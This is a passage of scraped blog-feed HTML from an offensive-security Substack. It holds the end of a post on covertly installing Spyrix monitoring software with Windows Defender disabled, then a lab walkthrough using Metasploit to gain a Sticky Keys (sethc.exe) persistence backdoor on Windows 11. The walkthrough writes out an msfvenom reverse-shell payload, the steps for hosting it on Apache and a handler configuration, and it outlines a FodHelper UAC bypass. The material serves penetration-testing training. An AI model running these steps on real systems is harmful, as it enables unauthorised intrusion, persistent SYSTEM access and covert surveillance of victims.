data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1037,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:513531,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!q4pN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png 424w, https://substackcdn.com/image/fetch/$s_!q4pN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png 848w, https://substackcdn.com/image/fetch/$s_!q4pN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png 1272w, https://substackcdn.com/image/fetch/$s_!q4pN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3654b27-5809-4c9d-9697-7042e60367c0_2558x1822.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>Understanding the Collected Data</strong></h3><p>The data captured by Spyrix demonstrates the extensive visibility that monitoring software provides into user activity. Consider what an attacker or unauthorized monitor could learn from this information:</p><ul><li><p>Keystroke logs reveal passwords, private messages, personal thoughts typed into documents, search queries, and any other typed content. Even brief monitoring periods can capture credentials for email accounts, banking sites, and corporate systems.</p></li><li><p>Screenshots provide visual context that keystrokes alone cannot capture. They reveal the content of documents being read, images being viewed, video being watched, and the overall context of user activity.</p></li><li><p>Web browsing history exposes personal interests, financial activities, health concerns, political views, and any other information accessed through the web. Combined with keystroke logging of form submissions, this data can reveal login credentials and personal information entered into websites.</p></li><li><p>Application monitoring shows work patterns, software usage, and potentially unauthorized or policy-violating activities.</p></li></ul><p>This demo shows what an attacker can achieve once they gain access to a system. A compromised system with monitoring software installed provides an attacker with near-complete visibility into the victim&#8217;s digital life.</p><div><hr></div><h2><strong>Summary</strong></h2><p>Spyrix is a commercial surveillance tool that enables covert monitoring of user activity across Windows, macOS, and Android platforms. </p><p>It captures keystrokes, screenshots, web browsing history, application usage, and communications from platforms like WhatsApp, Skype, and Facebook. The software operates in hidden mode and transmits collected data to a secure web dashboard.</p><p>In this demo, we installed Spyrix on a target Windows system using Remote Desktop access. We disabled Windows Defender, added folder exclusions, deployed the monitoring client, and observed captured data through the web dashboard.</p><p>We learned how to deploy surveillance software on a compromised system, configure antivirus exclusions to prevent detection, link a monitoring client to a remote dashboard, and review captured keystrokes, screenshots, browsing history, and live screen activity.</p><p>Understanding how monitoring software operates is essential for both offensive security testing and defensive security measures. Security professionals should know how to identify signs of surveillance software and protect systems against unauthorized monitoring.</p><p>Happy Hacking!</p>]]></content:encoded></item><item><title><![CDATA[Exploiting Windows Sticky Keys for Persistent System-Level Access]]></title><description><![CDATA[Sticky Keys is a Windows accessibility feature designed to help users who have difficulty pressing multiple keys simultaneously. This walkthrough demonstrates how to use Metasploit to exploit the Sticky Keys feature and establish persistent system-level access on a target Windows 11 machine.]]></description><link>https://darkmarc.substack.com/p/exploiting-windows-sticky-keys-for</link><guid isPermaLink="false">https://darkmarc.substack.com/p/exploiting-windows-sticky-keys-for</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Fri, 12 Dec 2025 10:27:41 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/14c37ee6-baab-41eb-b768-ac342fe403f6_1456x1048.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Sticky Keys is a Windows accessibility feature designed to help users who have difficulty pressing multiple keys simultaneously. </p><p>When enabled, modifier keys like Shift, Ctrl, and Alt remain active after they are released, allowing users to press key combinations one key at a time. The feature can be activated by pressing the Shift key five times in a row.</p><p>While Sticky Keys serves an important accessibility purpose, it can also be exploited by attackers to gain unauthenticated and highly privileged access to a Windows machine.</p><p>This walkthrough demonstrates how to use Metasploit to exploit the Sticky Keys feature and establish persistent system-level access on a target Windows 11 machine. </p><p>In Windows, system-level (NT AUTHORITY\SYSTEM) is the highest privilege level. It provides more control than an administrator account and allows full access to all operating system functions.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4K2S!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4K2S!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png 424w, https://substackcdn.com/image/fetch/$s_!4K2S!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png 848w, https://substackcdn.com/image/fetch/$s_!4K2S!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png 1272w, https://substackcdn.com/image/fetch/$s_!4K2S!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4K2S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png" width="1456" height="1048" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1048,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2556785,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181407120?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4K2S!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png 424w, https://substackcdn.com/image/fetch/$s_!4K2S!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png 848w, https://substackcdn.com/image/fetch/$s_!4K2S!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png 1272w, https://substackcdn.com/image/fetch/$s_!4K2S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6ac1664-fb93-4663-a1df-bf85dd33bc2f_1456x1048.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>The Persistence Mechanism</strong></h3><p>It is important to understand the type of persistence this exploit provides.</p><p>When you run the Sticky Keys module, it replaces the legitimate Sticky Keys executable (sethc.exe) with a copy of the command prompt executable (cmd.exe) on the target system. This modification is made directly to Windows system files, so it survives reboots and remains in place until the original file is manually restored.</p><p>The persistence here does <strong>not</strong> keep the Meterpreter session alive. Meterpreter sessions will still terminate if the target machine restarts or loses network connectivity. Instead, this exploit creates a backdoor that allows anyone with physical or Remote Desktop access to open a SYSTEM-level command prompt directly from the Windows lock screen or login screen.</p><p>This means that even after the machine restarts and all network connections are gone, an attacker who can reach the login screen can press Shift five times and receive a fully privileged command prompt without entering any credentials.</p><p>This technique is especially useful when an attacker has temporary access to a system and wants to ensure they can regain privileged access later. The backdoor persists across reboots, user logouts, and password changes because it operates at the system level before any user authentication occurs.</p><div><hr></div><h2><strong>Overview</strong></h2><p>This demonstration uses two virtual machines to simulate an attack scenario. The first machine is the Parrot Security VM, which serves as the attacker system. </p><p>Parrot Security is a Linux distribution designed for penetration testing and security research, and it comes preinstalled with the tools needed for this exercise. </p><p>The second machine is the Windows 11 VM, which serves as the target system. </p><p>This machine represents a typical Windows workstation that an attacker might encounter in a real environment.</p><p>Both virtual machines must be running and connected to the same network for the attack to succeed. The Parrot Security machine is assigned the IP address 10.10.1.13, which the Windows target will use to download the payload and establish the reverse connection.</p><p>Before beginning, ensure you have the login credentials for both systems. For the Windows 11 machine, you will need access to two accounts: an admin account, and an unprivileged user account.</p><p>The admin account has administrative privileges while the user account is a standard user, which becomes important when testing the persistence mechanism.</p><div><hr></div><h3>In this demo, you&#8217;ll learn how to:</h3><ol><li><p>Generate a malicious payload using msfvenom that will create a reverse connection from the target to the attacker machine.</p></li><li><p>Set up a shared folder on the Apache web server to host the payload for delivery to the target.</p></li><li><p>Configure a Metasploit handler to listen for and catch the incoming connection from the target.</p></li><li><p>Download and execute the payload on the Windows 11 target machine to establish the initial Meterpreter session.</p></li><li><p>Bypass Windows User Account Control using the FodHelper Registry Key exploit to remove restrictions on the session.</p></li><li><p>Escalate privileges to SYSTEM level, gaining complete control over the target machine.</p></li><li><p>Deploy the Sticky Keys exploit to replace the accessibility feature with a command prompt.</p></li><li><p>Verify persistent access by triggering Sticky Keys from the Windows lock screen and confirming SYSTEM-level access without authentication.</p></li></ol><div><hr></div><h2>Steps to Complete</h2><h3><strong>Part 1: Setting Up the Attack Environment</strong></h3><p>Begin by switching to the Parrot Security machine. Log in using the username attacker and the password toor.</p><p>Once logged in, open a Terminal window. You will need root privileges to run the necessary commands, so execute <code>sudo su</code> to switch to the root user. </p><p>When prompted for a password, enter toor. Note that the password will not be visible on the screen as you type, which is normal behavior for Linux systems.</p><p>After gaining root access, run the <code>cd</code> command to navigate to the root directory. This ensures you are working from a consistent location for the following steps.</p><div><hr></div><h3><strong>Part 2: Generating the Malicious Payload</strong></h3><p>The next step is to create a malicious executable that will establish a reverse connection from the target Windows machine back to your Parrot Security machine. </p><p>This payload will use the Meterpreter reverse TCP shell, which provides extensive post-exploitation capabilities.</p><p>Run the following command to generate the payload:</p><pre><code><code>msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe &gt; /home/attacker/Desktop/Windows.exe</code></code></pre><p>This command uses msfvenom, the Metasploit payload generator, to create a Windows executable file. The payload is configured to connect back to IP address 10.10.1.13 on port 444. The resulting file is saved to the Desktop as Windows.exe.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nosW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nosW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png 424w, https://substackcdn.com/image/fetch/$s_!nosW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png 848w, https://substackcdn.com/image/fetch/$s_!nosW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png 1272w, https://substackcdn.com/image/fetch/$s_!nosW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nosW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png" width="1456" height="641" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/be1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:641,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:969707,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181407120?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nosW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png 424w, https://substackcdn.com/image/fetch/$s_!nosW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png 848w, https://substackcdn.com/image/fetch/$s_!nosW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png 1272w, https://substackcdn.com/image/fetch/$s_!nosW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe1cdb6a-33ac-45bf-8f93-09c77104b6d2_2036x896.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>Part 3: Preparing the File Sharing Infrastructure</strong></h3><p>With the payload created, you now need to deliver it to the target machine. In a real attack scenario, there are numerous ways an attacker might accomplish this. </p><p>The payload could be sent as an email attachment, embedded in a malicious document, hosted on a compromised website, delivered through a USB drive, or distributed via file sharing services. Social engineering techniques are often used to convince the target to download and execute the file.</p><p>For simplicity in this demonstration, you will host the payload on a local web server and manually download it on the target machine. The Apache web server on Parrot Security will serve this purpose.</p><p>First, create the directory: </p><pre><code><code>mkdir /var/www/html/share</code></code></pre><p>Next, set the appropriate permissions to allow the web server to serve files from this directory: </p><pre><code><code>chmod -R 755 /var/www/html/share</code></code></pre><p>Finally, change the ownership of the directory to the Apache web server user: </p><pre><code><code>chown -R www-data:www-data /var/www/html/share</code></code></pre><p>With the shared folder ready, copy the payload you generated into this directory so it can be served to the target machine:</p><pre><code><code>cp /home/attacker/Desktop/Windows.exe /var/www/html/share/</code></code></pre><p>Now start the Apache web server to begin hosting the file:</p><pre><code><code>service apache2 start</code></code></pre><p>The payload is now accessible to any machine on the network that browses to the shared folder.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!RxeX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!RxeX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png 424w, https://substackcdn.com/image/fetch/$s_!RxeX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png 848w, https://substackcdn.com/image/fetch/$s_!RxeX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png 1272w, https://substackcdn.com/image/fetch/$s_!RxeX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!RxeX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png" width="1456" height="555" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:555,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:770961,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181407120?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!RxeX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png 424w, https://substackcdn.com/image/fetch/$s_!RxeX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png 848w, https://substackcdn.com/image/fetch/$s_!RxeX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png 1272w, https://substackcdn.com/image/fetch/$s_!RxeX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0f77101-207d-423e-9ebb-6c5174c1be8e_2034x776.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>Part 4: Configuring the Metasploit Listener</strong></h3><p>Before the target executes the payload, you need to set up a listener that will catch the incoming connection. Metasploit provides a multi-handler module specifically designed for this purpose.</p><p>Launch the Metasploit Framework by running the command:</p><pre><code><code>msfconsole</code></code></pre><p>Wait for Metasploit to fully load. Once the console is ready, configure the handler by entering the following commands one at a time:</p><p>First, select the multi-handler exploit module: </p><pre><code>use exploit/multi/handler</code></pre><p>Next, specify the payload type that matches what you generated earlier: </p><pre><code><code>set payload windows/meterpreter/reverse_tcp</code></code></pre><p>Set the local host address to your Parrot Security machine: </p><pre><code><code>set lhost 10.10.1.13</code></code></pre><p>Set the local port to match the one specified in the payload: </p><pre><code><code>set lport 444</code></code></pre><p>Finally, start the handler and wait for incoming connections: </p><pre><code><code>run</code></code></pre><p>The handler is now actively listening for connections from the target machine. Leave this running and proceed to the next step.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YZ2H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YZ2H!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png 424w, https://substackcdn.com/image/fetch/$s_!YZ2H!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png 848w, https://substackcdn.com/image/fetch/$s_!YZ2H!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png 1272w, https://substackcdn.com/image/fetch/$s_!YZ2H!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa380a172-9cac-49b7-9b0c-bc392147dcd9_1434x1398.png 1456w" sizes="100vw"><img 